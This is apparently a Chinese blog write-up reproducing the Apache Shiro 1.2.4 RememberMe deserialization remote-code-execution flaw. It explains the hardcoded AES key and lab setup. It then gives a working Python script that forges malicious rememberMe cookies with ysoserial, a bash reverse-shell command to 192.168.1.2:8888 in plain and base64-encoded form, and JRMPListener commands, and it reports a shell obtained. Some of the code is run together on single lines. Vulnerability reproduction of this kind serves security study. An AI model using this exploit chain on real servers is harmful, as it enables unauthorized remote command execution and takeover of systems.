php5.5 反序列化利用工具_【漏洞复现】Shiro RememberMe 1.2.4 反序列化命令执行漏洞...

0x00 影响版本

Apache Shiro <= 1.2.4

0x01 原因分析

    Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 >  Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

AES加密

    勾选记住密码并登录页面上的账号密码,成功登录后台后返回Cookie中的rememberMe值为固定的512位。

576a41827a11987b629328aa5c401134.png

7704621efef34eb6aa418ff9870e0306.png

    从官方文档中,我们知道在Shiro配置类中加入rememberMe管理器代码中写到cookie加密密钥默认为AES算法并且密钥为2AvVhdsgUs0FSA3SDFAdag==

16269989c64729ebda6b2f8402007bdb.png

    接着进行AES加密。动态跟踪到AbstractRememberMeManager类的encrypt方法中,可以看到AES的模式为AES/CBC/PKCS5Padding,并且AES的key为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),转换为16进制后是\x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68,key为16字节,128位。

8697632014f5d6f4a4c1be686ee05459.png

    进行AES加密,利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,完成后再进行AES加密。

    最后在CookieRememberMeManager类的rememberSerializedIdentity()方法中进行base64加密:

3853c3d7ec0252f602ee6c674cb5b535.png

0x02 环境搭建

    到Github获取Apache Shiro 1.2.4版本 源文件

 git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4cd ./shiro/samples/web

    为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml文件,添加如下行:

              1.6        1.6    ...                        javax.servlet            jstl                        1.2            runtime        .....                    org.apache.commons            commons-collections4            4.0        

    修改完成后,使用Maven 把存在漏洞环境 war包进行编译

    最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入

http://localhost:80/ 可以看到登录页面,如下图:

11fca06802a26de55bf14c4a17e7b0cd.png

    然后,获取我们复现需要用到的ysoserial工具

git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests

    生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件

0x03 漏洞利用

    恶意 Cookie rememberMe值构造

前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie

    生成恶意rememberMe参数值Python代码

python PopX.py 攻击者IP:PORT

 import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AES

 def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)   BS = AES.block_size   pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()   key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")   iv = uuid.uuid4().bytes   encryptor = AES.new(key, AES.MODE_CBC, iv)   file_body = pad(popen.stdout.read())   base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))   return base64_ciphertextif __name__ == '__main__':   payload = encode_rememberme(sys.argv[1])print "rememberMe={0}".format(payload.decode())

0843e955305ae7a8a56503327d4f768b.png

接下来制作反弹shell代码

 bash -i >& /dev/tcp/192.168.1.2/8888 0>&1

然后进行Java反序列化绕过 base64编码

http://www.jackson-t.ca/runtime-exec-payloads.html

4c1b3b757b1b930e925185f1ad53fcb9.png

    再使用ysoserial中JRMP监听模块,监听3888端口注意这里的端口是刚才生成rememberMe值的端口。再加上生成的base64编码。

 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}}'

4404e61497f5bc16bf7b17de21ae5e4a.png

0x04 命令执行

    将使用PopX.py脚本生成的Cookie带入Cookie请求中即连接成功反弹Shell。

84238f6280a1dd1475ac470aa51889e4.png

这里会收到请求数据再而远程执行命令

2b8bcb839fd8d46b3e0c7ff0c131fd05.png

监听端口也收到反弹Shell

1f130cd2a2155237737066b96109a2ea.png

0x05 漏洞修复

    目前官方发布了最新版本 ,强烈建议您更新并使用最新版本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值